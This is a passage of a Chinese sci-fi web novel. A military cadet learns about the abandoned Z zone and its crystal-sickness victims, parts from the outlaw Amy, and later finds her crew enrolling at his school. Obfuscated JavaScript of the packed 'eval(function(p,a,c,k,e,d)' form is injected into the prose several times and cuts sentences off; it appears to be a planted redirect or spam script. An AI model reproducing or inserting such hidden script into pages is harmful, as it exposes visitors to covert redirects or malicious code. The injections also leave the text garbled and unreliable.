“他们全都得了结晶病，可领不到联合政府发的抑制剂，拖着生病的身体，也找不到工作挣钱买药，更买不起遮风挡雨的房子，也付不起房租，这个社会任由他们自生自灭，他们只能逃到这个遗弃之地苟延残喘。” “怎么会领不到抑制剂？联合政府不是规定患结晶病的人，都可以申请免费领取抑制剂吗？”程橙不敢相信。 “确实是患结晶病的人都可以申请，但不是所有人都能申请成功，只有那些‘对社会有用’的人，才会得到联合政府的接济。” “什么叫对社会有用的人？” “有劳动力、能对社会做出贡献、或者家中有人能对社会做出贡献的人，这类人联合政府需要留着，或者说资本需要留着他们建设这个社会，总得有人服务你们这些有钱人不是吗？” “你……”程橙想反驳，却找不到反驳的话，他没接触过这个世界的黑暗，但隐隐的觉得李维说的对。 李维继续开口，“资源总是有限的，可人类总会不停繁衍，当资源无法满足所有人类的需求，且无法解决资源不足这个问题时，最便利的方法就是减少瓜分资源的人。最先被解决的，自然不是你们这些有钱人。 “于是这些‘没用的人’就被以这种手段舍弃。 “可是，没用的人也想活着对不对？所以在联合政府还没对这片区域重新规划的时候，他们偷偷来到了这里，起初只是偷住，后来人越来越多规模不断壮大，现在的人口已经壮大到联合政府也不敢轻易驱逐的地步。 “所以他们只能尽量封锁消息，不让有关的消息流出去，免得引起动荡。” 李维说这些的时候神情平静，却在程橙心中掀起惊涛骇浪，在这之前他还觉得安全区里岁月静好，只有反叛军打着自由的名义，却干着掠夺的事。 用了好一会儿他才消化这些信息，喉间越发苦涩，“所以你们做的这些事，都是为了救这些被放弃的人。” 李维瘫在椅子上疲惫地闭上眼，“这件事没那么容易，先不说盈不盈利的事，药品的原材料几乎被联合政府和生化巨头控制，光是弄到原材料就困难重重，我们买原材料比那些垄断市场的公司要花更多的钱，所以才会接一些确实不怎么合法的活干。” 程橙又沉默下来，只感觉胸口压着一块大石头，喘不过气来。 过了好一会才重新提起说话的欲望，“为什么要告诉我这些？” 李维挠了挠头，神情烦躁，“因为你看到我们的脸了，如果没看到还能直接放你走，但是看到了你跟军方一说，我们就得上通缉令，很麻烦的。 “艾米看人的眼光挺准，她会把你救回来，说明觉得你这人不错。我查过你的资料，知道你的身份不简单，我们应该算不上十恶不赦的坏人，希望看在我们做的这些事份上，你回去后别把我们供出去。 “那家伙虽然一副天不怕地不怕的样子，但是真被通缉，我们的行动都会受到限制。她做事一向不顾后果，估计不会跟你说这些，苏童又无脑崇拜她，只能我来擦屁股。”李维语气颇为幽怨。 原因只是这么简单，程橙感受到李维的用心良苦。 但他从小生活在联合政府的管辖下，即使亲眼见到这里的人生活的惨状，依然不敢相信他们的政府，私下放弃了他们的子民。 他只能沉默着。 李维该说的已经说完，站起身，“你在这里等会，我去找车送你回去。” 说完就真的留下程橙一个人，自己离开监控室。 程橙依然心情沉重，他读的是军校，还是将自己当做政府的人，理智告诉他艾米他们抢政府的东西熟门熟路、杀人也不眨眼，不是可以相信的人，不该将性命寄托于他们的承诺上。 现在没人是他逃脱的最好时机，可路上艾米的关照，加上在这里看到的一切，又让他觉得他们有苦衷，忍不住去相信。 监控画面中李维真的离开了，也没有交代其他人留意监控室，这个时候他可以直接离开，不会有人阻拦。 可程橙犹豫了，内心挣扎着，最终垂下眼眸什么都没做。 给他治伤的药里应该有镇定剂，不折腾的时候他的伤没多大感觉，一安静下来思绪便开始涣散，昏昏欲睡。 就要睡着时，监控室的门被人推开，睡意被惊醒了一半，他抬起头，却发现来人不是李维。 “之前还夸你素质不错，现在看来也不怎么样，没人看着也不跑，在别人的地盘还能睡着，心挺大。” 艾米顶着一张陌生的脸，双手抱胸倚在门框上，但从声音和语气，程橙就知道是她。 “会睡着难道不是因为你的药里有镇定剂？我倒是想跑，我的腿似乎不允许。” “轮椅可以送你。” 艾米说完朝外走去，走路姿态懒散，程橙自觉地跟上。 “你的大方我倒是略有耳闻。” “巧了，你的事我也听说了一点，要不是现在有点忙，我应该找你家里要一大笔赎金，弥补我没能拿到尾款的亏空。” 程橙耸了耸肩，“也不是不可以，需要我提供家里的号码么？” “真孝顺啊，程少。” 程橙倒是没从艾米的语气里听出嘲讽，只有调侃。 “怎么换你来了，李维呢？” 他其实也不是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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调戏完人艾米的心情不错，迈开步伐继续朝外走去，嘴里哼着小调，衬得身后坐着轮椅的程橙像个怨妇。 走出药店后门，一辆皮卡已经在门外停好，艾米拉开副驾驶的车门，“需要公主抱上车吗？” 就算是为了男人的尊严，程橙都不需要。 咬着牙撑着轮椅扶手站了起来，浑身的骨头有仿佛都在咔咔作响，骨折的地方更是觉得在位移，上车前，都要轻吸口气压下痛觉攒力气。 艾米手搭在车窗框上，顺便调戏，“这幅样子还怪惹人怜的。” 程橙瞥了她一眼，钻上了车。她反手将门关上，绕过车头上了驾驶室。 引擎启动的声音响起，老式的皮卡发动机需要预热，车身震鸣着，过了会才真正起步。 巷子的路很狭窄，皮卡几乎是两侧贴着墙行驶，艾米的车技够好，平稳将车驶离药店所在的小巷，驶到宽敞一些的路上。 程橙看着窗外，能够从那些漏风的房子缝隙中，看到一双双沉默着打量着他们的眼睛，偶尔有人穿得不那么严实，他能看到那些人的皮肤上，覆着诡异的晶体。 偶有些路段传来阵阵腐臭味，也看到有人倒在巷角，或许已经死了。 在顶层看时，程橙已经知道这片区域很大，可真正搭车从中穿越，一直开不到尽头，才更加感受到这里到底生活了多少走投无路的人。 车子是在驶离这片污糟的地方，他的心却像困在了这里，愈发的沉重。 12. 安慰 花了一个小时，车子终于从拥挤的社区驶离，社区的边缘没有康庄大道，只有焦黑布满坑洼的裸露地面，小坑连着大坑。 程橙能认出那些坑洼是炮弹留下的痕迹，这里的土地在当初那场能量泄露中，已经被摧残得支离破碎。 艾米熟练地驾驶着皮卡绕着坑洼前行，但还是免不了的颠簸。皮卡看着老旧，但是经过改造马力巨大，在颠簸中也没有显得吃力抛锚。 却苦了程橙这个乘客，颠得伤疼，还隐隐想吐。 “暗格里有瓶药。” 艾米一路上都听着车里的音乐，没有搭理程橙，现在突然说话。 程橙忍着不适拉开副驾驶前面车头的暗格，里面堆着各种颜色的液体药剂，还有瓶瓶罐罐的颗粒药。 “黑色那瓶。”艾米提醒。 黑色的药瓶只有一瓶，很好认，程橙拿了出来，转到标签的那面，上面的字迹已经模糊不清，应该经过长期摩挲，他看不出是什么药。 “你要吃吗？”他问。 “强效安眠药，一颗可以睡一整夜的好觉，半颗也够路上睡两三个小时。” 程橙动作一顿，听出了她的意思，原来是看他太难受，提议睡一觉么？ 从认识以来艾米其实一直表现得很会保护人，要不是亲眼看到她抢东西和杀人的果断，他会觉得艾米是个很好的人。 他缓缓转着药品，倒没怀疑瓶子里的是不是真的安眠药，但在这种情况下就算不舒服，他也不想吃。 “怎么，像你这样的人也要吃安眠药才能睡着，是杀人太多良心不安吗？” “是啊。” 没有想象中的反唇相讥，语气也没有戏谑，艾米回答得认真，让他有种说中了的错觉，一时间无语。 过了会才又开口，“你从小就生活在那个地方吗？” 艾米从内视镜中看了他一眼，“我没打算杀你，套什么近乎。” 程橙往车座里窝了窝，想找个舒服点的姿势，但老旧皮卡的座位设计得不宽敞，以他的个子怎么坐都憋屈。 “只是长路漫漫，不找点事做很难熬。” “那就睡觉。” 一句话堵住他满腹的好奇，只能望着淡蓝色的天空放空。 淡蓝色并不是天空的颜色，安全区的上空都覆盖着隔绝root能量的屏障，跟隔绝装置一样，屏障呈现出淡蓝色，透过屏障看天空也是淡蓝色。 实际天空的颜色是他们在列车上看到的颜色，永远都是灰蒙蒙压抑的颜色。 那些蓝色的天空、金色的晨曦、火红的晚霞，只能从网上遗留的资料中看到。 “你说，如果没有那艘潘多拉，是不是就不会发生这些事？”他忽然问。 “哪些？”艾米问。 “很多。”程橙看着天空眼神悲怆，“我们不用被困在这层屏障下，你不用去抢配方，那些人不用在这里等死。” 艾米罕见地默了默，不是那种不想搭理的沉默，随后笑了笑，“李维又说了什么，怎么能坏小朋友的道心。” “我认真的。”程橙语气幽幽，或许在艾米他们的眼中，他就是不谙世事养尊处优的富家少爷。 说出这种话或许会被嘲笑，但今天经历了这些他心里堵得慌，想找人说一说，神奇的是他竟觉得艾米会是最合适的人选。 他琢磨不透这个人，总觉得艾米会给出不一样的答案。 “我知道。”艾米没有嘲笑，反而认真回答，“就算没有潘多拉，人类社会也总会有其他问题。” “但至少人们的出路会更多不是吗？” “那确实。” 艾米没有否认，要是人类不被困在这屏障下，会有更多的可能。 “要是能让潘多拉消失就好了。” “联合政府想了一百多年，都没找到方法对付潘多拉，祝你能找到新的方法。” “嗯。”程橙竟然很认真的回答。 聊天让他的情绪得到缓和，镇定剂又慢慢发挥了效果，意识渐渐变得模糊。 再次醒来时，车子已经驶离那片满是弹坑的地方，那片诡诞的社区也没了影子，车下的路也变得好走许多，少了许多颠簸。 虽然不是市政修建的公路，但看地上的痕迹，应该常有车辆驶过，四周零星有植物的影子。 在土地有限的情况下，植物同样稀有，安全区里的树木甚至每一颗都有政府标记监测，看到树木程橙就知道即将接近政府的管辖地带了。 “我睡了多久。”他问，刚睡醒的声音低沉而沙哑。 艾米扬了扬眉，“多说两句。” 程橙敏锐察觉到她是对自己的声音感兴趣，头疼地闭上眼睛，实在没想到他一个大男人，有天会沦落到被调戏的地步。 车子开始减速，最后停下，艾米下了车，绕过车头拉开副驾的门，“下车。” 程橙眺望远方，是一片茂林，知道艾米只能送到这了。 安全区里这么成片的林子只会是政府或一些企业的林业园，再靠近就要进入巡逻和监控的范围，她不适合出现在监控下。 虽然他和艾米的关系微妙，但要分别，生出了些异样的惆怅。 程橙下了车，艾米二话不说绕过车头回到驾驶位，启动的车子，他忍不住扒住车窗， “不多说两句吗？” 他知道以他们的身份，以后想见面就很难了，只是一想竟然已经开始遗憾。 “需要轮椅自己拿。” “……” 他无语地轻吸口气，又叹气，“毕竟我是小朋友，让小朋友还是受伤的小朋友独自走这么长的路，不嘱咐两句吗？” 艾米侧头看去，他半垂着眼睫，睫毛浓密且长，让她想到盛开的向日葵花瓣弯起的弧度。 明明是一张好看到接近有侵略性的脸，却露出可怜的模样。 她素来喜欢好看的东西，对好看的东西也格外宽容，用手在车座缝隙里摸了摸，摸出一把手枪抛了过去。 “保护好自己，小朋友。” 说完车子起步扬长而去，只留下带着尾气气流，掀动程澄额前的碎发以及衣角。 后视镜中的人影逐渐缩成一个小点，那个小朋友还站在原地，身影落寞。 艾米忽然有点烦躁，将方向盘打向一边，皮卡驶入小径爬上一个山坡。 熄火下车，她从副座底下摸出一个黑色手提袋，拉开拉链开始组装里面的器械， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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显然刚离开废墟之城时，小心绕过那么多弹坑，已经是在为程橙着想。 回到家天已经没有一丝亮光，拥挤的屋子已经收了差不多，李维和苏童还埋首在杂物堆里，抬头看了她一眼就继续收拾。 “去了那么久，小朋友真的让人不省心吧？”李维问。 “哼！”苏童冷哼了一声，“为什么对他这么好！” 他们谁都没觉得艾米是偷闲了才会这么久才回来。 “你这随手捡人的毛病真得改改，太耽误事了，我们的服务器已经被攻击了好几次，估计明天他们就会攻破，我们得在今夜就离开。”李维提醒。 “艾米要是没这毛病，现在也没我们什么事了，艾米做事你少管！”苏童回怼。 艾米也开始在屋里转悠收拾，她常用的东西其实已经被收拾好。 “有用的东西都带走，不重要的就销毁，这次应该闹得挺大的，估计要避很久的风头。” “原来你也知道会闹大，还每次都冲动行事。”李维抱怨。 “MN集团让我们吃那么大的亏，你能忍？”苏童问。 李维顿了顿，“……好吧，忍不了。” 他看向艾米，“想好这次躲去哪里了吗，我们的容身之处好像不多了。” 艾米捏起挂在理疗机旁的破烂背心，那是李维给程橙换下的。 “有，是个好地方。” 13. 暗夜玫瑰 暑假的时间匆匆流逝，距离上次实习任务已经过去一个多月。 程橙当时被家里的直升机接回，刚到家不到十分钟军方的人就找上门，要问他跳下列车之后的事。 但被家里人以他要养伤为由，拖了两天才接受军方的询问。 也给了他足够的时间思考，是否要将一切全盘托出。 他最终选择隐瞒，只说了自己跳车之后被歹徒劫持，除了知道歹徒的性别，其他的一概不知，并修改了经历，告诉军方歹徒在摆脱反叛军和军方的追踪之后，就将他丢在了路上。 最后是家里的机甲队将他找到带回的安全区。 程橙还记得当时询问的军方文员听了他说辞后的表情，明显是在看一个胡说八道的人。 当场提了许多问题，比如说家里的机甲队怎么在没有定位的情况下找到他。 又比如说他们得知程家的直升机，莫名出现在接近Z区的林区，之后就传出程橙找到的消息，猜测当时就是在接程橙。 那个地方离程橙失踪的位置差了十万八千里，程橙说被歹徒丢在路上，又被机甲队救回，又怎么会出现在林区？ 而且机甲队进入安全区关口，都要进行登记，军方查过程橙消失到现在的两天的关口登记记录，并没有程家机甲队多带人回安全区的相关登记。 询问的人步步紧逼，程橙当时是紧张的，但强烈要求全程陪同的爹妈手一摊，表示： 能找到儿子就是运气好，区林业区是因为看上了那片地方，先谈谈收购的事，至于关口没登记，关口工作人员失职跟他们没关系吧？ 程家在第五安全区、甚至是其他安全区都颇有威望，就算明知道程家两口子在睁眼说瞎话，军方也不敢对程橙咄咄逼人，询问无果之后就离开了。 之后军方又预约了几次询问，但都被程家找借口推掉，为了应付，程橙也单独接受了两次询问，但他坚持原本的说法，碍于程家的势力，军方不敢对他说重话，渐渐的事情就翻盘了。 只是在程橙心中翻不了篇。 宽敞的别墅阁楼里，全息投影模拟出的柔和阳光倾洒着整间房，程橙躺在床上看着投在半空中满满的几大业资料。 “Z区”、“废墟之城”、“神秘黑客”、“暗夜玫瑰”…… 从那个地方回来之后，他就一直在网上搜罗相关资料，证实了李维所说并不假。 30年前第五区确实发生过一场重大的root能量泄露事件，导致Z区被能量重度辐射。 当时的Z区是贫民区，住着许多贫民，能量泄露之后那里的人被root能量侵蚀，在极快的速度里成了变异体。 为了防止变异体向其他城区扩散，政府出动大量军力前去镇压。 当时战况有多惨烈网上没有报道，但如果连媒体都不敢报道伤亡人数，说明这个数量极其恐怖。 从网上程橙还找到了一张战后的Z区图，虽然那张图被拍下的时候，战场已经经过清扫，但通过坍塌的建筑以及被鲜血染乌的地面，也能看出惨烈程度。 网上没说Z区是否有居民幸存，也没说那些被能量侵蚀的幸存者，最后被怎么安置，只知道现在大家提起那个地方，都叫废墟之城。 而在网上搜索废墟之城，相关资料寥寥无几，就连第五区地图上都抹去了Z区的存在，那个地方似乎成了某种小说中的秘境，存在，但是别人找不到。 除了这个，他试图找到有关艾米三人的线索，但在网上搜索他们的名字，除了搜出一堆同名同姓，没一个是他们。 从那之后他乐于收集各种传闻，想着像他们那样的人，不该籍籍无名，或许某些传闻的主角就是他们。 最后锁定了几条有可能跟他们有关的传闻。 “神秘黑客”，他认为是李维。 据说十年前十六个安全区的网络在一夜之间瘫痪，政府抢修了一夜才恢复，最终找出原因是被人黑了。 离谱的是只能查出被人黑了，却查不出那个黑客黑了全安全区的网络之后，都在网上做了什么。 还有“暗夜玫瑰”，也是颇具传奇色彩。 也是十几年前，当时除了反叛军，还有一方反叛势力闹得很凶，肆意屠杀平民向联合政府挑衅。 当时出现一个神秘人，孤身一人闯他们的大本营，竟然以一己之力让这支势力土崩瓦解。 没人知道这人是谁，只知道是女的有一头黑色的头发，也因此被叫做暗夜玫瑰。 能一个人单挑一整个势力，程橙只能想到艾米。 但是一看这个传闻出现的时间在十几年前，又觉得自己想多了，艾米看起来年纪跟他差不多，十几年前也才几岁吧？ 琢磨了这么久，程橙也没找到什么有用的东西。 明天就是新学期，他需要提前一天到校，为明天的迎新工作做准备。 关掉投影，他翻身下床，开始整理自己的行李，忽然看见放在床头柜上的手枪，是艾米留给他的那把。 他拿过轻轻摩挲着枪身，是一把老款的手枪，在给他之前枪口已经因为磕碰掉漆，估计是经常被把玩，枪柄光滑发亮，手感倒是不错。 看到枪他总能想起艾米，有些人只是匆匆打个照面，就会给人留下不可磨灭的印记。 学校并不给带枪，他把枪收进盒子里，又将盒子放进抽屉锁好。 迎新工作忙碌且劳累，新生对一切好奇，却又一无所知。 程橙要做的就是替新生解答，给新生引路、必要时还要帮扛行李。 忙得连午饭都是躲在阴凉的棚子下，用营养液解决。 虽然现在的天很少见到太阳，但夏天依然闷热异常，现在才入秋，气温也没降下来。 正忙里偷闲喝着营养液，手臂被人碰了碰，身旁的好友齐时越用手肘捅他，“你看这些刚来的学妹。” “怎么了？”程橙问。 “现在一个个看着柔柔弱弱，等训练一段时间，一个个猛得让人生畏。” “那也很酷。”程橙又想到了艾米，又补充道，“你是没见过更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在看到问路的人的第一眼，他一口喷出刚咽下一半的营养液。 对方一个灵巧的转身闪避，高扎的马尾随着动作轻扬，白色的连衣裙裙摆微微盛开。 他是躲过了，跟在身后提着大包小包的人却遭了殃。 “问个路而已，学长就算不想回答也不用喷我一脸吧？”遭殃的人不满地问，然而全身挂满了行李，根本腾不出手擦脸。 旁边的另一个人也受到波及，嫌弃地抹掉溅到手臂上的营养液和唾液混合液。 这边的动静也引来其他人的注意，齐时越和夏茉莉停止拌嘴都朝程橙的方向看来。 程橙有点被呛到了，一边咳嗽一边瞪大眼睛看着那个穿着白色连衣裙的人，目光又在其他两个跟在她身边的人脸上扫。 不是，这三人为什么会出现在这？ 14. 学长学长~ 齐时越一把挤开程橙，目光火热殷勤开口， “两位学妹是住9栋宿舍楼吗？这位学长还有事，换我这位学长送你们去怎么样？” 一旁的夏茉莉讥笑出声，迈开一步挡在齐时越面前，切断他过于火热的目光，一边提醒， “两位学妹刚入学，要小心一些居心不良的人，我是你们的学姐夏茉莉，9栋是吧，我带你们去。” “夏茉莉你什么意思，别在新人面前坏我名声！” 齐时越不满地嚷嚷，随即也迈出一步抢回位置， “两位学妹别理她，跟着她会被带坏，我先带你们去宿舍，之后再详细介绍我们的学校，晚上还能带你们吃食堂，学校伙食还是不错的，当然，你们要是不喜欢，我们也可以去校外吃。” “无事献殷勤，非奸即盗。”夏茉莉冷声评价，她不想看到新人惨遭魔爪，直接伸出手一手一个抓住两个新人学妹的手臂。 “跟我走，你们眼睛应该没坏，应该能看出这家伙居心不良。” 抓住手臂的瞬间，夏茉莉心里微微诧异，两个学妹看着文静柔弱，手臂抓起来却不是软绵绵。 特别是左边那个，长着一张漂亮的东方面孔。拥有东方血脉的人因为基因问题，身材骨架也会比较纤细，是公认的在体型体能这方面没有优势。 可对方的手臂却练出了肌肉，她能感受到其中传来的力量感。 “那就麻烦学姐啦~” 在她暗暗吃惊的时候，对方笑容明媚的道谢。 “咳咳！” 程橙一口气终于缓了过来，伸手拦住三人，语气有些急促，“我来送！” 夏茉莉奇怪地看了他一眼，她对程橙的印象要比对齐时越好很多，只是将两个女孩交给男生，终归是不放心，便警惕问道： “你送跟我送有什么区别吗？都是女生，我送反而更方便。” 程橙一下子被问住，他总不能说自己先前被他们挟持过，可把夏茉莉或者齐时越交给艾米他们，他也不放心。 这三人会出现在这里，本身就很可疑！ “喂喂喂，为什么你们只关心两个学妹，我这么大个学弟，还提着一堆行李，你们是选择性失明吗？” 一旁传来不满的声音，程橙三人这才看向一直被忽略的人，随后都露出一言难尽的表情。 还是齐时越最先忍不住发问，“你也是学弟？” 明明是个胡子拉渣的大叔，看起来都能当他们叔叔了，也是一年级新生？ “怎么不是，我长得着急怎么了？”对方理直气壮反问。 “……那你确实长得着急了些。”夏茉莉心直口快，下意识道。 “先别管这个，能不能来个人帮我分担点东西？” 李维实在忍不住了，他左手一个行李箱、右手一个行李箱，每个行李箱都有他小半个人那么高，行李箱拉杆处还放着编织袋，拉着行李箱的两条手臂还挂着大包小包，就连脖子都没闲着，也挂着一个大包垂到肚子。 感觉比生产队干活的驴还要吃力。 程橙见状接过他半边身子的行李，只感觉每一包都沉甸甸。 李维的手终于得空，干的第一件事就是取下挂在脖子上的袋子，转手挂到程橙脖子上。 “有劳学长了。” 程橙：…… 齐时越也找到了机会，立马冲上前接手过艾米和苏童手上的行李箱，左右两手分别拉着。 “两位学妹提着这么多行李过来真是辛苦了，接下来的路学长帮你们。” 说完挑衅地看向夏茉莉，“送两个学妹而已，用不着这么多个人，我和程橙就能帮她们搬完行李，夏茉莉你还是去帮别人吧。” “还有我这个学弟。” 李维幽幽提醒，齐时越压根没听到似的。 “交给我们吧，我会看好时越不让他乱来。”程橙也道，想将夏茉莉支开，他更担心的是艾米他们乱来。 程橙已经这么说，周围还有其他人，夏茉莉要是去抢行李会闹得不好看，还是放开了艾米和苏童的手。 又恶狠狠瞪了齐时越一眼，然后才朝程橙扬了扬下巴，“看好你朋友！” “你们两个也是，擦亮眼睛别被居心不良的人骗，要是有什么事情可以随时找我！” 这话她是对着艾米和苏童说的，说着亮出通讯手环上的一串代码，“加我的联系方式。” 看到艾米和苏童乖巧地加了联系方式，她又朝齐时越哼了一声，这才去别处帮别的新生。 程橙松了口气，他应付齐时越会比应付夏茉莉容易得多，装模作样对艾米和苏童道：“两位学妹9栋在这边，我给你们带路。” “还有我呢？”李维又幽幽插话。 “……你住哪栋？” 程橙还是问了，叫个比自己大的人学弟，总感觉很怪。 李维嘿嘿一笑，“也是九栋，就在她们对门。” 程橙：…… 9栋是高级学生公寓，几乎跟酒店一个规格，有单间也有双人、三人间，男女都可以入住。 只是每学年都需要申请，通过才能获得入住资格，同时还要交高额的住宿费，程橙和齐时越也住那里，不过住的都是单间。 “走吧。”程橙率先向前走去。 齐时越先前还抢着帮艾米他们，这会倒是安分不少，拉着行李箱和程橙在前面并排走，压低了声音问道： “这三个，你认识？” 齐时越表面看着不着边际，其实心思细腻，他了解程橙，程橙看到这三人时的表现让他察觉到不对劲。 程橙发现无法向齐时越解释和艾米他们的关系，更何况这三人可不是什么清白的人，他不想让齐时越也牵扯进来，犹豫了几秒后摇了摇头。 齐时越没有多问。 他们所在的军校叫晨曦军校，由联合政府创立，是为政府选拔人才的重要基地。 最大最权威的总校就在第五安全区，不管是哪个安全区的人，只要年满18岁都能报考。 考上后只要顺利毕业，联合政府都会安排工作，可以说进了这所军校的人，下半辈子算是有了着落。 作为最权威的学府，晨曦总校占地面积很大，内部设施配置齐全。 9栋作为高档学生公寓，也被设立在校内比较僻静的地方，越往里走周围的学生越少，环境也开始有变化，跟刚入校园一座座庄严的建筑相比，这里四周被设计成小区的布局。 处处是美化用的景观，甚至有罕见的真实绿植。 因为环境恶化，绿植在这个时代难以养活，这里却用了真实的绿植，可见校方下了血本。 花了不少时间，他们走到宿舍楼下，将行李搬入一楼大厅电梯口，不等程橙将人支开，齐时越就自觉的表示自己要去招待其他新生。 一下子就剩他们四个人，气氛忽然沉寂下来。 程橙正想着该怎么开口，“叮”的一声，电梯门打开，开门的刹那一道惊喜的声音也从里面传来， “程橙？” 一个高挑的女生从电梯走出，目光似有似无扫过艾米三人，或许是女生特有的敏锐直觉，她的目光在艾米身上多停留了一瞬，然后才落在程橙脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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艾米语气越温柔程橙越头皮发麻，以她那恶劣的性子，表现得越反常，说明憋的坏主意越大。 不过上杉悠奈可不知道，艾米的话一出，她得体的微笑僵了一瞬，从艾米的眼中看出了挑衅的意味，顿时明白对方不是什么善茬，眼中便也多了敌意。 不过在程橙面前，她不会展露出来，微笑着跟艾米搭话： “学妹可不要小看学姐哦，这里是军校，学姐好歹经过四年体能训练，帮你们搬这点行李不在话下。” “那太好了。” 艾米立即搭话，这个反应让上杉悠奈愣了愣，她还以为艾米会继续找借口缠着程橙。 却看到艾米伸手向程橙的脖子，想取下挂在上面的袋子，却因为身高差异无法顺利取下，娇哼了声，“学长低下头啦，人家拿不到。” 程橙背脊发凉，赶忙弯下腰恨不得给艾米来个90度鞠躬，只求她不要搞出这种动静。 只见艾米拿下袋子之后，还顺手捋了捋程橙的头发，“学长头发都乱了啦！” 头发乱不乱程橙不知道，不过他整个人是凌乱的。 一旁的李维和苏童一个看向别处转移注意力，一个使劲吸着两颊，这才强迫自己没笑出声。 上杉悠奈得体的微笑已经出现了裂痕，嘴角虽然还是上扬的角度，却像是僵在了脸上。 艾米要的就是这种效果，她没兴趣跟人搞雌竞，谁对程橙有意思她也不在乎。 要是上杉悠奈一开始直接了当说程橙忙，让他们自己上去，她也不会纠缠，像夏茉莉那种性格她就喜欢，可偏偏上杉悠奈一上来就阴阳怪气将她当成假想敌。 她不喜欢拐弯抹角的人，既然对方想找不自在，那就让她再不自在些。 她转手将袋子递给上杉悠奈，“那就麻烦学姐啦~” 上杉悠奈的表情又垮了垮，但她已经说了不让艾米小瞧她，只能接了过来。 然而，艾米还没打算停手。 15. 就是看不惯 程橙手臂上还挂着李维的大包小包，艾米取下程橙另一边手的行李，一并递给了上杉悠奈。 “学姐这么厉害，那就再帮学长分担一些吧，反正都送到这了，学长也学姐一起帮我们把行李搬上去，也不会浪费多少时间。” 上杉悠奈嘴角抽了抽，却只能打掉牙往肚里咽，将第二次递来的行李接过。 “太好了！”艾米显得很高兴，笑到眼睛微微弯起，她就站在程橙面前，程橙清楚看到她眼中的邪气。 她一把勾住程橙的手臂，“这样学长就能腾出手来让我搭着了，人家午饭还没吃有些低血糖，怕站不稳呢~” “噗——” 苏童没忍住笑出声，但不想坏了艾米的好戏连忙收住，死死吸着两颊的软肉，生生将自己憋成了鸭嘴兽。 程橙：…… 不敢说话，完全不敢说话，他怕一开口下一个遭殃的人会是自己。 看到艾米勾住程橙手臂的手，上杉悠奈脸色都狰狞了一瞬，用尽全力才维持住表情没有完全崩坏，但语气已经带点咬牙切齿的意味， “程橙你跟学妹之前就认识吗？学妹表现得很熟络的样子。” 程橙腰上一痛，低头看向站在身旁的罪魁祸首，对方一脸纯良，抬头朝他眨巴眨巴眼睛，一副也在等待答案的样子。 他知道艾米是在警告自己配合，可问题是…… 她是想让他回答知道还是不知道？ 程橙这辈子脑子没转过这么快，他从艾米的性格分析，虽然不知道她为什么对上杉悠奈这么大敌意，但明显是故意想看对方吃瘪。 那他的回答只要能让上杉悠奈更吃瘪，就是她希望做出的反应 如果说认识，在旧相识的情况下，艾米做出这些举动也能让人接受，上杉悠奈没那么被膈应。 答案就很明显了。 “不认识。”他说。 腰上的痛感瞬间消失，艾米的眼睛明显又弯了些，程橙松了口气，心里头突然也跟着冒出些欢愉。 上杉悠奈脸色果然更加难看，目光停留在两人勾搭着的手臂上，“看来学妹性格比较热情，第一次见面就能和学长打得火热。” 就差把“不知羞耻”和“倒贴”几个字直接说出来。 “叮——” 在他们谈话的时候，电梯已经上下一轮，里面又走出人来，奇怪地看着站在电梯门口的几人。 程橙夹在中间已经闻到渐浓的火药味，赶紧迈开腿走进电梯，“先把东西搬上去吧。” “好，都听学长的~”艾米乖乖回答，挽着他的手腕一起走进电梯。 李维和苏童随后，上杉悠奈攥紧手上的行李袋，恨不得将东西砸到地上，却也只能憋着一起进入。 虽然是酒店式的公寓宿舍，但毕竟是军校，有时需要紧急集合特训，太高的楼层不利于紧急撤离，所以楼房建得并不高，只有7层。艾米三人的宿舍就在5楼，坐电梯很快就到。 出了电梯就是走廊，宿舍楼的户型是门对门的设计，艾米和苏童的宿舍是508，李维的是521，刚好是对门。 门是密码锁，艾米他们已经提前拿到密码，顺利将门打开. 上杉悠奈将手上的行李放到地板上，经过这么一会儿已经平复好心情，又恢复那种完美的表情对程橙道： “东西已经搬上来了，程橙我们下去吧，我有些事要跟你说。” 艾米听到后原本要进屋的脚步顿住，“可是我还有一些关于学校的问题想请教学长，学长可以多待会吗？” 上杉悠奈看得出艾米是故意缠着程橙，语气温和却略带警告意味道： “学妹刚到学校，应该没有什么急于得到答案的问题，就别霸占学长的时间了吧，毕竟今天入学的新生可不止学妹一个，他还有很多事要忙。” 程橙其实也有很多问题，开口替艾米回答：“没关系，她们刚来很多事情不知道，给他们解答是应该的，不是霸占时间。学姐有我的联系方式，有什么事可以给我打电话或发消息。” “学姐再见~”艾米笑嘻嘻摆手，欠扁的样子气死人不偿命。 程橙开了口，上杉悠奈也没理由再将他叫走，只能悻悻离去。 人一走艾米就原形毕露，收起人畜无害的表情，一副漫不经心的模样朝屋里走去。 双人间的屋子很宽敞，进门就能看到两张并排摆放的床，剩下的空间仍然富余，摆了两张书桌和两张衣柜。 再往里走是阳台，阳台连着卫生间，洗衣、烘干之类的电器配置齐全，卫生也有人提前打扫过。 艾米双臂抱在胸前逛了一圈，就拉开跟书桌配套的椅子坐下，苏童开始整理行李。 程橙将手上的行李放下，皱着眉看艾米，“上杉学姐惹你了么？” “惹了。”艾米从包中摸出没喝完的营养液，用一种味同嚼蜡的表情喝着。 “就不喜欢她那副装模作样阴阳怪气的劲。”苏童补充。 程橙眉头皱得更深了，“她有装模作样阴阳怪气吗？” “有的。” 身后传来声音，程橙回头一看，李维已经去过自己宿舍来串门，进来后顺便将门关上。 